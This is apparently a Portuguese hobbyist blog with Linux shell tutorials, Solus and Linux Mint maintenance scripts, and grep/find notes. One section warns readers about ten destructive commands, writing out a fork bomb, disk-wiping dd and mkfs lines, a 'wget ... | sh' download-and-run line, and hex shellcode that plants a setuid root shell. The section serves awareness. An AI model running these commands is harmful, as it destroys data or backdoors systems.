echo
echo "Hello World"
echo
sleep 3

.

Então parece que não preciso usar \r.

.

Vamos jogar este comando para dentro de um arquivo de texto chamado hello.sh, dar poder de execução a ele e executar o arquivo criado e ver o que acontece.

.

echo -e '#!/bin/bash\necho\necho "Hello World"\necho\nsleep 3' > hello.sh ; chmod +x hello.sh ; ./hello.sh

.

Exemplo:

.

~ $echo -e '#!/bin/bash\necho\necho "Hello World"\necho\nsleep 3' > hello.sh ; chmod +x hello.sh ; ./hello.sh

Hello World

.

O que foi feito aí em cima?

.

Primeiro usando o comando echo escrevi um shell script, escrevi este shell script em um arquivo de texto, então dei poder de execução a este arquivo de texto e por fim executei o arquvo de texto que retornou a tela do terminal as palavras:

.

Hello World

.

Fico por aqui.

.

Até Breve

.

:)

.

Script Solus Pós Instalação completa.sh


Olá! Gostaria de dizer a você, que eu montei este script para o meu uso e ele funcionou bem para mim. Uso este script por minha conta e risco. Caso queira faça que nem eu.

.

#!/bin/bash

echo

echo 'Solus-2018-Script-Pos-Instalação-SmnkZ.sh - Para executar na pasta home'

echo

sleep 4

echo 'instalando programas basicos'

echo

sleep 3

sudo sh -c 'eopkg lu ; eopkg it aria2 firejail firetools gufw firewalld smplayer uget pinta bleachbit seahorse rhythmbox vlc conky conky-manager unrar unzip firefox gedit leafpad pluma gparted gpart -y ; eopkg ur ; eopkg up -y ; eopkg lu ; eopkg cp ; eopkg lp ; eopkg upgrade ; update-grub'

echo

echo "Reinicie o sistema (sudo reboot OU sudo shutdown -r now), se quiser pode fazer isto agora apertando Ctrl+C . Execute sem problemas o script novamente após reiniciar. Pode também continuar e reiniciar após ter instalado tudo"

sleep 7

echo

echo 'instalando programas preferidos'

echo

sleep 4

sudo sh -c 'eopkg it ack adapta-gtk-theme adwaita-icon-theme arc-gtk-theme arc-icon-theme arc-red-gtk-theme atomicparsley atril brasero breeze-cursor-theme brisk-menu caja caja-extensions calibre cantarell-fonts captiva-icon-theme catfish cheese clicompanion cmus dmidecode dmz-cursor-theme easytag eom epiphany etcher evopop-gtk-theme evopop-icon-theme exiv2 faba-icon-theme faba-icon-theme-mono fbreader ffmpeg font-fira-ttf font-hack-ttf font-roboto-ttf font-symbola-ttf font-ubuntu-ttf geany geany-plugins gimp git gnome-chess gnome-disk-utility gnuchess gnupg gprename grep gthumb handbrake heimdall hicolor-icon-theme inkscape la-capitaine-icon-theme libreoffice-writer libreoffice-calc libreoffice-draw liferea lm_sensors love make makemkv mate-backgrounds mcomix midori mkvtoolnix moka-icon-theme mpg123 nano neofetch netcat nomacs numix-gtk-theme numix-icon-theme numix-icon-theme-circle numix-icon-theme-square paper-icon-theme papirus-icon-theme peek pinta prelink qpdf redshift rhythmbox rmlint rtorrent sayonara-player screenfetch sigil simplescreenrecorder solus-artwork solus-artwork-mate supertux telegram thunderbird tilix terminator tmate tor ufw veracrypt vim w3m wget winff youtube-dl youtube-viewer -y ; eopkg ur ; eopkg up -y ; eopkg lu ; eopkg cp ; eopkg lp ; eopkg upgrade ; update-grub'

echo

sleep 2

echo 'ativando firewall'

echo

sleep 4

sudo sh -c 'eopkg ur ; systemctl start firewalld.service ; firewall-cmd --state ; ufw enable ; ufw status verbose ; systemctl enable firewalld ; eopkg ur ; eopkg up -y ; eopkg lu ; eopkg cp ; eopkg lp ; eopkg upgrade ; update-grub'

echo

sleep 4

echo 'atualizando o bashrc'

echo

sleep 4

source .bashrc

echo

sleep 4

echo 'aplicativos em sandbox'

echo

sleep 4

mkdir -p ~/.local/share/applications; for profile in $(basename -s .profile /etc/firejail/*.profile); do if [[ -f /usr/share/applications/$profile.desktop ]]; then sed -r 's/^(Exec=)/\1firejail /' /usr/share/applications/$profile.desktop > ~/.local/share/applications/$profile.desktop; echo $profile configured to run in firejail; fi; done

echo

sleep 4

echo 'Otimizacao'

echo

sleep 4

sudo sh -c 'eopkg ur ; eopkg up -y ; eopkg lu ; eopkg cp ; eopkg lp ; eopkg upgrade ; update-grub'

echo

sleep 4

echo 'reafirmando aplicativos em sandbox'

echo

sleep 4

mkdir -p ~/.local/share/applications; for profile in $(basename -s .profile /etc/firejail/*.profile); do if [[ -f /usr/share/applications/$profile.desktop ]]; then sed -r 's/^(Exec=)/\1firejail /' /usr/share/applications/$profile.desktop > ~/.local/share/applications/$profile.desktop; echo $profile configured to run in firejail; fi; done

echo

sleep 4

echo 'Chegamos ao fim do script pós instalação do Solus x86_64 - Shannon'

echo

sleep 4

echo 'POR FAVOR, FECHE OS APLICATIVOS ABERTOS E REINICIE A MÁQUINA'

echo

sleep 5

exit

.

Até Breve!

.

🙂

.

Distro Solus x86_64, script para aprendizado, otimização e limpeza

#!/bin/bash

echo

echo "Vamos atualizar o sistema? Um bom lugar para executar este script é na sua pasta Home."

sleep 3 # Já vou me desculpando por qualquer erro de digitação ou algo parecido.

echo

kdialog --yesno 'Você está com este script na sua pasta Home?'

echo

kdialog --yesno 'Se não estiver, clique em não e aperte as teclas Ctrl+c e saia deste script. Recorte ele e cole na pasta Home. Claro que se não quiser, execute no lugar que julga mais agradável.'

echo

sleep 3

kdialog --yesno 'Posso atualizar o teu sistema?'

echo

sleep 2

kdialog --yesno 'Saiba que no Linux, ao digitar a senha no terminal; não aparece nenhum símbolo. É uma medida de segurança entende?'

echo

sleep 2

sudo sh -c 'eopkg ur ; sleep 3 ; echo ; echo "Vamos saber sobre os mais novos pacotes no repositório?" ; echo ; sleep 3 ; echo "Claro que sim, não é mesmo?" ; echo ; sleep 3'

kdialog --yesno 'Você gostaria de saber se há NOVOS PACOTES NO REPOSITÓRIO DO SOLUS? Se clicar, aguarde um instante...'

sudo eopkg ln

echo

kdialog --yesno 'Posso otimizar o sistema?'

sudo sh -c 'eopkg up -y ; eopkg upgrade'

echo

sleep 3

echo 'Limpar o sistema, é limpar o cache, remover travas velhas e pacotes órfãos.'

echo

sleep 4

kdialog --yesno 'Posso fazer a limpeza do teu sistema?'

sudo sh -c 'eopkg ur ; eopkg dc ; eopkg ur ; eopkg clean ; eopkg ur ; eopkg rmo -y ; eopkg ur ; eopkg up -y'

echo

echo 'É sempre positivo atualizar o grub e verificar se os firewalls estão instalados e ativados!'

sleep 4

echo

kdialog --yesno 'Posso atualizar o grub, verificar se os firewalls estão instalados e ativados?'

sudo sh -c 'eopkg lp ; eopkg lu ; eopkg ur ; eopkg up -y ; eopkg cp ; update-grub ; eopkg ur ; eopkg it gufw firewalld -y ; systemctl start firewalld.service ; firewall-cmd --state ; ufw enable ; ufw status verbose ; systemctl enable firewalld ; eopkg ur ; eopkg up -y'

echo

echo 'Creio que o serviço de manutenção, atualização, limpeza e segurança estão completos!'

echo

sleep 4

kdialog --yesno 'Gostaria que eu colocasse alguns aplicativos que tem contato com a internet em sandboxes?'

sudo eopkg it firejail firetools -y ; sudo eopkg upgrade

mkdir -p ~/.local/share/applications; for profile in $(basename -s .profile /etc/firejail/*.profile); do if [[ -f /usr/share/applications/$profile.desktop ]]; then sed -r 's/^(Exec=)/\1firejail /' /usr/share/applications/$profile.desktop > ~/.local/share/applications/$profile.desktop; echo $profile configured to run in firejail; fi; done

kdialog --yesno 'Posso encerrar meus serviços e sair?'

kdialog --yesno 'Antes, gostaria de revisar todo o serviço, posso?'

sudo sh -c 'eopkg lu ; eopkg rmo -y ; eopkg cp ; eopkg ur ; eopkg upgrade -y ; eopkg clean ; eopkg cp ; eopkg ur && eopkg up -y ; eopkg upgrade -y ; update-grub ; eopkg cp ; eopkg dc ; eopkg clean ; eopkg ur ; eopkg up -y ; update-grub ; eopkg upgrade'

kdialog --yesno 'Para reconstruir a database deste sistema você mesmo deve digitar sim ou não daqui a pouco, ok? Gostaria de reconstruir a database do sistema?'

sudo sh -c 'eopkg rdb'

kdialog --yesno 'Não sei de está cansado de mim, mas vou perguntar. Gostaria de SABER OS NOMES de alguns COMANDOS LINUX? Gostaria?'

echo

sleep 3

echo 'PREPARE-SE. ABRA MAIS UM TERMINAL E SEU EDITOR DE TEXTO PREFERIDO.'

echo

sleep 9

echo 'Leia e tente executar alguns comandos... O tempo é curto...'

echo

sleep 4

echo 'Tempo 15 segundos'

echo

sleep 4

echo 'INFORMAÇÕES DO SISTEMA: uname -a, uname -r, uptime, hostname, hostname -l, last reboot, date, cal, w, whoami'

sleep 15

echo

echo 'Tempo 18 segundos'

echo

sleep 4

echo 'INFORMAÇÕES DO HARDWARE: dmesg, cat /proc/cpuinfo, cat /proc/meminfo, free -h, lspci -tv, lsusb -tv, dmidecode, hdparm -i /dev/sda, hdparm -tT /dev/sda, badblocks -s /dev/sda'

sleep 18

echo

sleep 4

echo 'Tempo 19 segundos'

echo

sleep 4

echo 'INFORMAÇÕES DO USUÁRIO E GERENCIAMENTO: id, last, who, w, groupadd, useradd -c, userdel, usermod -aG'

echo

sleep 19

echo

echo 'Tempo 23 segundos'

sleep 4

echo

echo 'INFORMAÇÕES DE ARQUIVO E COMANDOS DE DIRETÓRIO: ls -al, pwd, mkdir nome_da_pasta, rm nome_do_arquivo, rm -r nome_da_pasta, rm -f nome_do_arquivo, rm -rf pasta (cuidado!), cp arquivo1 arquivo2, cp -r, mv arquivo1 arquivo2, ln -s /caminho/para/o/arquivo nome_do_link, touch nome_do_arquivo, cat arquivo.txt, cat arquivo.sh, less arquivo, head arquivo, tail arquivo, tail -f arquivo'

echo

sleep 23

echo 'INFORMAÇÕES SOBRE GERENCIAMENTO DE PROCESSOS: ps, ps -ef, ps -ef | grep nome_do_processo, top, htop, kill pid, pidof nome_do_programa, kill -9 nome_do_programa, killall nome_do_processo, nome_do_programa &, bg, fg, fg n'

echo

sleep 19

echo 'Até Breve! Estou sempre a tua disposição!'

echo

sleep 2

exit

.

Até Breve!

🙂

.

Linux, Aprendendo o comando grep e o comando find


.

Bom, eu estou precisando mesmo muito aprender sobre o comando grep e o comando find. Coisas da vida.

.

Vou pesquisar...

.

COMANDO GREP

.

Quando busca por informações a respeito do comando grep usando comando: greg --help. info grep, man grep

Aparece em alguma lugar: grep [expressão] [arquivo] [opções]

.

HÁ DE SE APRENDER QUE:

.

EXPRESSÃO é palavra ou frase que será procurada no texto. Se tiver mais de 2 palavras você deve identifica-la com aspas "" caso contrário o grep assumirá que a segunda palavra é o arquivo. Para entender melhor o funcionamento da expressão, procure saber sobre EXPRESSÕES REGULARES.

.

ARQUIVO é onde será feita a procura.

.

OPÇÕES podem ser: -A, -B, -f, -h, -i , -n, -U

.

O QUE SIGNIFICAM as opções -A, -B, -f, -h, -i , -n, -U ?

.

-A [número]

A opção -A, Mostra o [número] de linhas após a linha encontrada pelo grep.

.

-B [número]

A opção -B, Mostra o [número] de linhas antes da linha encontrada pelo grep.

.

-f [arquivo]

A opção -f, Especifica que o texto que será localizado, esta no arquivo [arquivo].

.

-h, --no-filename

A opção -h, Não mostra os nomes dos arquivos durante a procura.

.

-i, --ignore-case
A opção -i, Ignora diferença entre maiúsculas e minúsculas no texto procurado e arquivo.

.

-n, --line-number
A opção -n, Mostra o nome de cada linha encontrada pelo grep.

-U, --binary
A opção -U, Trata o arquivo que será procurado como binário.

.

SE NÃO FOR ESPECIFICADO O NOME DE UM ARQUIVO OU SE FOR USADO UM HÍ­FEN "-", grep PROCURARÁ A STRING NO DISPOSITIVO DE ENTRADA PADRÃO.

.

O grep faz sua pesquisa em arquivos texto.

.

USE O COMANDO zgrep PARA PESQUISAR DIRETAMENTE EM ARQUIVOS COMPACTADOS COM GZIP, OS COMANDOS E OPÇÕES SÃO AS MESMAS.

.

Exemplos: grep "capitulo" texto.txt, ps ax|grep inetd, grep "capitulo" texto.txt -A 2 -B 2.

.

COMANDOS GREP, FGREP E EGREP

.

Procuram em um ou mais arquivos por linhas que contém um padrão de busca (expressão regular simples ou estendida).

.

SINTAXE:

grep [opções] padrão arquivos

fgrep [opções] padrão arquivos

egrep [opções] padrão arquivos

.

OPÇÕES:

-F :: O mesmo que fgrep. Interpreta padrão como uma expressão regular sem metacaracteres.

-E :: Similar a egrep. Interpreta padrão como uma expressão regular estendida.

-r :: Faz procura recursiva.

-e expr :: Procura pela expressão regular expr.

-n :: Exibe o número de linhas que contém o padrão.

-c :: Exibe apenas o número de linhas que contém o padrão de busca.

-f arquivo :: Lê o padrão a partir do arquivo especificado.

-i :: Não diferencia maiúsculas de minúsculas na procura.

-l :: Exibe os nomes de arquivos que contém o padrão.

-v :: Exibe as linhas que não contém o padrão.

-w :: Procura apenas palavras inteiras.

.

OBSERVAÇÃO:

recomenda-se que o padrão esteja entre apóstrofos ('), pois alguns caracteres tem significado especial para o shell e podem ser interpretados erroneamente.

.

EXEMPLOS:

Procura a palavra "tee" dentro do arquivo /etc/info-dir e exibe o número da linha onde ela ocorre:

grep -n tee /etc/info-dir

70:* tee: (sh-utils) tee invocation. Redirect to multiple files

.

Procura todos os arquivos abaixo de /etc que possuem a palavra mouse:

grep -r mouse /etc/*

.

Outros exemplos:

grep -n root /etc/passwd

grep -v bash /etc/passwd | grep -v nologin

grep -c false /etc/passwd

.

COMANDO FIND

.

O comando find Procura por arquivos/diretórios no disco. O comando find pode procurar arquivos através de sua data de modificação, tamanho, etc através do uso de opções. O comando find, ao contrário de outros programas, usa opções longas através de um "-".

.

find [diretório] [opções/expressão]

Onde:

DIRETÓRIO

O diretório Inicia a procura neste diretório, percorrendo seu sub-diretórios.

.

opções/expressão

.

-name [expressão]
A opção -name procura pelo nome, pela expressão, nos nomes de arquivos e diretórios processados.

.

-depth
A opção -depth processa os sub-diretórios primeiro antes de processar os arquivos do diretório principal.

.

-maxdepth [num]
A opção -maxdepth faz a procura até sub-diretórios dentro do diretório que está sendo pesquisado.

.

-mindepth [num]
A opção não faz nenhuma procura em diretórios menores devem ser indicados numericamente.

.

-mount, -xdev
A opção não faz a pesquisa em sistemas de arquivos diferentes daquele de onde o comando find foi executado.

.

-amin [num]
A opção procura por arquivos que foram acessados [num] minutos atrás. Caso for antecedido por "-", procura por arquivos que foram acessados entre [num] minutos atrás até agora.

.

-atime [num]
A opção procura por arquivos que foram acessados [num] dias atrás. Caso for antecedido por "-", procura por arquivos que foram acessados entre [num] dias atrás e a data atual.

.

-gid [num]
A opção procura por arquivos que possuam a identificação numérica do grupo igual a [num].

.

-group [nome]
A opção procura por arquivos que possuam a identificação de nome do grupo igual a [nome].

.

-uid [num]
A opção procura por arquivos que possuam a identificação numérica do usuário igual a [num].

.

-user [nome]
A opção procura por arquivos que possuam a identificação de nome do usuário igual a [nome].

.

-inum [num]
A opção procura por arquivos que estão localizados no inodo [num].

.

-links [num]
A opção procura por arquivos que possuem [num] links como referência.

.

-mmin [num]
A opção procura por arquivos que tiveram seu conteúdo modificado há [num] minutos. Caso for antecedido por "-", procura por arquivos que tiveram seu conteúdo modificado entre [num] minutos atrás até agora.

.

-mtime [num]
A opção procura por arquivos que tiveram seu conteúdo modificado há [num] dias. Caso for antecedido por "-", procura por arquivos que tiveram seu conteúdo modificado entre [num] dias atrás até agora.

.

-ctime [num]
A opção procura por arquivos que teve seu status modificado há [num] dias. Caso for antecedido por "-", procura por arquivos que tiveram seu conteúdo modificado entre [num] dias atrás até agora.

.

-nouser
A opção procura por arquivos que não correspondam a identificação do usuário atual.

.

-nogroup
A opção procura por arquivos que não correspondam a identificação do grupo do usuário atual.

.

-perm [modo]
A opção procura por arquivos que possuam os modos de permissão [modo]. Os [modo] de permissão pode ser numérico (octal) ou literal.

.

-used [num]
O arquivo foi acessado [num] vezes antes de ter seu status modificado.

.

-size [num]
A opção procura por arquivos que tiverem o tamanho [num]. [num] pode ser antecedido de " " ou "-" para especificar um arquivo maior ou menor que [num]. A opção -size pode ser seguida de:

b - Especifica o tamanho em blocos de 512 bytes. É o padrão caso [num] não seja acompanhado de nenhuma letra.

c - Especifica o tamanho em bytes.

k - Especifica o tamanho em Kbytes.

.

-type [tipo]
A opção procura por arquivos do [tipo] especificado. Os seguintes tipos são aceitos:

b - bloco

c - caracter

d - diretório

p - pipe

f - arquivo regular

l - link simbólico

s - sockete

.

A maior parte dos argumentos numéricos podem ser precedidos por " " ou "-". Para detalhes sobre outras opções e argumentos, consulte a página de manual.

.

Exemplos:

find / -name grep - Procura no diretório raí­z e sub-diretórios um arquivo/diretório chamado grep.

find / -name grep -maxdepth 3 - Procura no diretório raí­z e sub-diretórios até o 3o. ní­vel, um arquivo/diretório chamado grep.

find . -size 1000k - Procura no diretório atual e sub-diretórios um arquivo com tamanho maior que 1000 kbytes (1Mbyte).

find / -mmin 10 - Procura no diretório raí­z e sub-diretórios um arquivo que foi modificado há 10 minutos atrás.

find / -links 4 - Procura no diretório raí­z e sub-diretórios, todos os arquivos que possuem 4 links como referência.

find / -type d -size +1000k - Procura no diretorio raíz e sub-diretórios, diretórios maiores que 1000 kbytes.

.

Com este material, crio um arquivo de texto para ler no smartphone.

.

Visito:

https://pt.wikibooks.org/wiki/Guia_do_Linux/Iniciante%2BIntermedi%C3%A1rio/Comandos_diversos/find

.

Um Solus - reminder - Ambientes de Trabalho Solus

.

O Solus possui neste momento vários ambientes de desktop. Entre eles, 3 ótimos ambiente de trabalho são os principais.

.

O Budgie

.

O Gnome

.

O Mate

.

Como instalar?

.

Desktop Environments

.

1
O Budgie, comando: sudo eopkg install -c desktop.budgie

.

2
O Gnome, comandos: sudo eopkg rm lightdm ; sudo eopkg install gdm gnome-shell gnome-desktop-branding

.

3
O Mate, comando: sudo eopkg install -c desktop.mate

.

fonte: https://solus-project.com/articles/software/desktop-environments/en/

.

Até Breve

:)

.

Linux – Solus script usando kdialog

.
cap-2-script-solus-usando-o-kdialog2
.

Aprendendo a usar o kdialog em scripts simples para começar. Muito útil e divertido de fazer!

.

Uso – Usage:

.

kdialog [options] [arg]

.

kdialog + opções + argumento(s)

.

O KDialog pode ser usado para mostrar caixas de diálogo em scripts shell

.
1
Caixa de mensagem de pergunta com botões

.

kdialog --yesno

Sim/Não

.

kdialog --yesnocancel

Sim/Não/Cancelar

.
2
Caixa de mensagem de aviso com botões

.

kdialog --warningyesno

Sim/Não
.
3
Caixa de mensagem de aviso com botões

.

kdialog --warningcontinuecancel

Continuar/Cancelar

.
4
Caixa de mensagem de aviso com botões

.

kdialog --warningyesnocancel

Sim/Não/Cancelar

.

Escrevi este script simples para testar o kdialog. Achei muito bom.

.

#!/bin/bash

echo

kdialog --warningyesno Atualizar_o_sistema?

echo

sudo sh -c "eopkg ur"

echo

sleep 4

kdialog --warningcontinuecancel Posso_fazer_o_upgrade_do_sistema?

echo

sudo sh -c "eopkg up"

echo

kdialog --warningcontinuecancel Gostaria_de_deletar_o_cache?_Advirto_que_não_há_problema

echo

sudo sh -c "eopkg dc"

echo

kdialog --warningyesnocancel Posso_limpar_travas_velhas_do_sistema?

echo

sudo sh -c "eopkg clean"

echo

kdialog --warningyesno Por_favor_gostaria_de_Atualizar_o_sistema_mais_uma_vez_configurar_pacotes_pendentes_e_atualizar_o_Grub?

echo

sudo sh -c "eopkg ur && eopkg up && eopkg cp && update-grub"

echo

kdialog --warningyesno Muito_bom_muito_bem!_Chegamos_ao_fim_deste_script_usando_o_kdialog._Mantenha_sua_máquina_atualizada._Sair?

sleep 3

echo

exit

.

Existem várias outras opções de uso do kdialog. Bastante sofisticadas.

.

Até Breve

.

🙂

10 COMANDOS, COMANDOS LINUX PERIGOSOS QUE NUNCA DEVEM SER EXECUTADOS

.

PRIMEIRO DE TUDO. NÃO EXECUTE NEHUM DOS COMANDOS ABAIXO, NEM DIGA PARA OUTRA PESSOA EXECUTAR.

OBS:

Antes de executar por exemplo um script, use a ferramenta de busca do editor de texto que estiver usando para ver se encontra alguns destes danados.

.

Aviso: Estes comandos abaixo são perigosos e não devem de forma alguma serem executados! O OBJETIVO AQUI É CONSCIENTIZAR USUÁRIOS LINUX DESTES COMANDOS PERIGOSOS.

.

Nø1 – É o que deleta tudo no diretório root:

rm -rf/

sudo rm -rf/

O comando rm -fr/ ainda por cima, não pergunta nada. Usou o comando e digitou sua senha, o rm -rf/ é executado na hora. Porém o comando rm -rf sem usar a / pode ser útil para alguns usuários:

“O comando rm -rf é util somente quando o usuário sabe o que vai deletar.”

Nø2 – Fork Bomb

Este comando se executado define uma função chamada ‘:’ ela é executada duas vezes. Em foreground e em background. Continua sendo executada sem parar até que o sistema trava.

:(){:|:&};:

Nø3 – Um comando que escreve o output ‘command’ no HD (/dev/sda) que geralmente é onde está o sistema operacional e a Home do usuário. O comando causa perda total de toda informação que existir no bloco /dev/sda o que normalmente significa que perde tudo que existir no HD da máquina:

command > /dev/sda

Nø4 – Um comando que move pasta para /dev/null. No linux o /dev/null é um arquivo especial que descarta toda informação que for escrita nele e avisa que a operação foi bem sucedida. É tipo um buraco negro.

mv /home/user/* /dev/null

sudo mv /home/user/* /dev/null

Nø5 – wget http://fonte_maliciosa -O- | sh

O comando: wget http://malicious_source -O- | sh

É aquele que vai baixar via wget um script malicioso e executar ele por causa do:

| sh = (pipe+sh)

Só baixe scripts de fontes confiáveis.


Nø6 – mkfs.ext3 /dev/sda – Formata o HD deixando ele sem informação nenhuma e torna o sistema irrecuperável. O HD fica tipo zerado novinho e o usuário perdeu tudo.

sudo mkfs.ext3 /dev/sda


Nø7 – > file

> xt.conf

Escreve sobre os arquivos de configuração. Inutiliza o sistema.


Nø8 – ^foo^bar

^foo^bar

Não cometa a besteira de executar o comando acima. Nunca.

Nø9 – Apaga o HD e enche ele de lixo

dd if=/dev/random of=/dev/sda


Nø10 – O comando rm -rf/ escondido em hex – nunca execute coisas parecidas com o comando abaixo:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

IMPORTANTE:

NÃO EXECUTE NENHUM DESTES 10 COMANDOS ACIMA.

Linux Mint script otimização, limpeza e tutorial comandos iniciante

#!/bin/bash

# por: semanickzaine

# Script testado. Sem problemas. Este script vem sem garantia. Execute altere e distribua-o livremente. Execute-o por sua conta e risco.

echo

echo "Script para otimização e limpeza do Linux Mint"

echo

sleep 4

echo "Recomendo que me execute na sua pasta home, onde é tranquilo. A pasta home é a que tem as pastas Documentos, Imagens, Musicas. Este script não coleta dados pessoais, não altera nem apaga nada vital do usuário nem do sistema. Apenas sou um script e tutorial que faz atualização e limpeza usando os comandos básicos do Linux Mint e comandos básicos do Linux"

sleep 10

echo

echo "IMPORTANTE: Script testado sem problemas mas este script vem sem garantia. Altere e distribua-o livremente, porém todavia, execute-o por sua conta e risco"

sleep 5

echo

echo "Executando otimização do Linux Mint em 8 segundos. Para isto o sistema pedirá a senha. Quando digitar não aparecerá nada no terminal. Este é o padrão"

echo

sleep 8

sudo sh -c 'apt-get check ; sleep 2 ; apt update ; apt upgrade -y ; apt full-upgrade -y ; apt install -f ; dpkg --configure -a ; update-grub'

echo

echo "Executando: apt autoremove em 5 segundos"

sleep 5

sudo sh -c 'apt autoremove -y'

echo "Ativando firewalls em 5 segundos"

echo

sleep 5

sudo su -c 'apt install gufw firewalld -y ; systemctl start firewalld.service ; firewall-cmd --state ; ufw enable ; ufw status verbose ; systemctl enable firewalld'

echo

echo "Informação sobre dia, data, hora e sobre o sistema em 8 segundos. Para SAIR de algumas INFORMAÇÕES DO SISTEMA aperte a tecla q e aguarde uns segundos pois O SCRIPT SEGUIRÁ EM FRENTE. Ao mesmo tempo, você pode sair deste script a qualquer momento apertando as teclas Ctrl+c repetidas vezes ou pode fechar o terminal apertando Ctrl+d"

echo

sleep 8

echo ; echo 'Pelo calendário hoje é:' ; echo ; cal ; sleep 4 ; echo ; echo 'O dia e hora é:' ; echo ; date ; echo ; sleep 4 ; echo 'A máquina está ligada a:' ; echo ; uptime ; echo ; sleep 4 ; echo ; echo 'quem está usando a máquina:' ; echo ; whoami ; sleep 4 ; echo ; echo 'os usuários da máquina são:' ; echo ; w ; sleep 4 ; echo ; echo 'Que arquivos e pastas existem e aonde estou agora?' ; echo ; ls -t ; sleep 4 ; echo ; echo 'Onde estou no sistema' ; pwd ; echo ; sleep 4 ; echo ; date +%F ; echo ; sleep 4 ; echo ; date +"%T" ; echo ; sleep 5 ; echo ; date +"%d/%m/%Y" ; echo ; sleep 5 ; echo ; df -Tha --total ; echo ; sleep 5 ; echo ; du -ach | sort -h ; echo ; sleep 5 ; free -mt ; echo ; sleep 5 ; echo ; ps auxf | more ; echo ; sleep 5 ; echo ; ls -al | more ; echo ; sleep 5 ; echo ; ls -al ; echo ; sleep 5

echo "Atualizando mais uma vez"

echo

sleep 6

sudo apt-get check ; sudo apt-get update ; sudo apt-get upgrade -y ; sudo apt-get dist-upgrade -y ; sudo apt-get install -f ; sudo dpkg --configure -a ; sudo update-grub

echo

echo "Gostaria de fazer uma limpeza completa no Linux mint usando os comandos: apt-get check, apt-get clean, apt-get autoclean, apt-get autoremove, apt-get --fix-broken install, apt update, apt full-upgrade -y, dpkg --configure -a, update-grub entre outros comandos?"

echo

sleep 5

echo "Iniciando Limpeza do Linux Mint em 7 segundos. Para não realizar esta operação, aperte as teclas Ctrl+c"

sleep 7

sudo sh -c 'rm -v -f ~/.cache/thumbnails/*/*.png ~/.thumbnails/*/*.png ; rm -v -f ~/.cache/thumbnails/*/*/*.png ~/.thumbnails/*/*/*.png ; sudo sh -c "sync; echo 3 > /proc/sys/vm/drop_caches" ; apt-get update ; apt-get check ; apt-get clean ; apt-get autoclean ; apt-get autoremove ; apt update ; apt-get --fix-broken install ; apt full-upgrade -y ; dpkg --configure -a ; update-grub'

echo

echo "Caso queira limpar Firefox: cp -r -v ~/.mozilla ~/.mozillabackup ; rm -r -v ~/.mozilla && rm -r -v ~/.cache/mozilla"

sleep 6

echo

echo "Caso queira limpar Chrome: cp -r -v ~/.config/google-chrome ~/.config/google-chromebackup ; rm -r -v ~/.config/google-chrome && rm -r -v ~/.cache/google-chrome"

sleep 6

echo

echo "Caso queira limpar Chromium: cp -r -v ~/.config/chromium ~/.config/chromiumbackup ; rm -r -v ~/.config/chromium && rm -r -v ~/.cache/chromium"

sleep 6

echo

echo "Gostaria de aprender 10 comandos do terminal Linux? Caso não queira, aperte as teclas Ctrl+c"

echo

sleep 5

echo "1 - Vou executar para você: ls -a -t" ; sleep 4 ; echo ; ls -a -t ; sleep 5 ; echo ; echo "O comando mostrou os arquivos as pastas que existem onde o terminal foi aberto e mostra também pastas ocultas se houver." ; sleep 6 ; echo ; echo "2 - O comando a ser executado agora, é um comando que informa a data de hoje. O comando: date" ; sleep 7 ; echo ; date ; sleep 7 ; echo ; echo "3 - Agora o terminal exibe um calendário pois vou executar o comando: cal" ; sleep 7 ; echo ; cal ; sleep 4 ; echo ; echo "4 - Vai saber agora a quanto tempo esta máquina está funcionando, porque vou executar para você o comando: uptime" ; sleep 5 ; echo ; uptime ; sleep 4 ; echo ; echo "5 - Agora tu saberá quem está online pois executarei o comando: w" ; sleep 5 ; echo ; w ; sleep 5 ; echo ; echo "6 - Vamos saber como você está logado(a) usando o comando: whoami" ; sleep 5 ; echo ; whoami ; sleep 5 ; echo ; echo "7 - Obteremos agora informações sobre o kernel com o comando: uname -a" ; sleep 4 ; echo ; uname -a ; sleep 9 ; echo ; echo "8 - Agora você saberá informações sobre esta cpu com o comando: cat /proc/cpuinfo" ; sleep 7 ; echo ; cat /proc/cpuinfo ; sleep 7 ; echo ; echo "9 - Agora obteremos informações sobre a memória desta máquina com o comando: cat /proc/meminfo" ; sleep 4 ; echo ; cat /proc/meminfo ; sleep 7 ; echo ; echo "10 - Por fim, saberemos o tamanho desta pasta onde o terminal está aberto com o comando: du -h" ; echo ; sleep 7 ; du -h ; echo ; sleep 7

echo "Você gostaria de aprender mais 10 comandos do terminal Linux? Caso não queira aperte as teclas Ctrl+c"

echo

echo ; echo "1 - O comando cd muda de uma pasta para outra onde está algum arquivo do teu interesse. Vou mudar de onde voccê está para a raiz do sistema e voltar usando cd, cd / e cd~." ; echo ; sleep 10 ; cd ; echo ; echo "A gora você está na sua home." ; echo ; sleep 6 ; ls -t ; echo ; cd / ; echo ; echo "Agora estamos no diretório raiz do sistema!" ; echo ; sleep 6 ; ls -t ; echo ; sleep 6 ; echo "Voltaremos a home com o comando cd ~ e faremos o resto do tutorial lá." ; cd ~ ; echo ; ls -t ; echo ; sleep 6 ; echo ; echo "2 - Agora saberemos o caminho para a pasta onde estamos com o comando: pwd" ; echo ; sleep 6 ; pwd ; echo ; sleep 3 ; echo "3 - Este comando agora criaremos uma pasta chamada pasta teste no diretório onde estamos. O comando é o mkdir pasta_teste" ; echo ; sleep 6 ; mkdir pasta_teste ; echo ; echo "A pasta_teste foi criada, vamos conferir?" ; echo ; sleep 6 ; ls -t ; echo ; sleep 8 ; echo ; echo "4 - Se quiser ir para a pasta_teste use o comando: cd pasta_teste/ estamos na home e criaremos um arquivo de texto vazio com o comando: touch arquivo_teste1.txt" ; echo ; sleep 10 ; echo ; pwd ; echo ; sleep 6 ; cd ; cd ~ ; echo ; sleep 4 ; ls ; echo ; sleep 4 ; cd ; sleep 4 ; echo ; touch arquivo_teste1.txt ; echo ; ls -t ; echo ; sleep 6 ; echo ; echo "5 - Agora vamos criar uma pasta dentro da outra e um arquivo de texto com o comando: mkdir -p pasta1/pasta_em_pasta1 ; touch 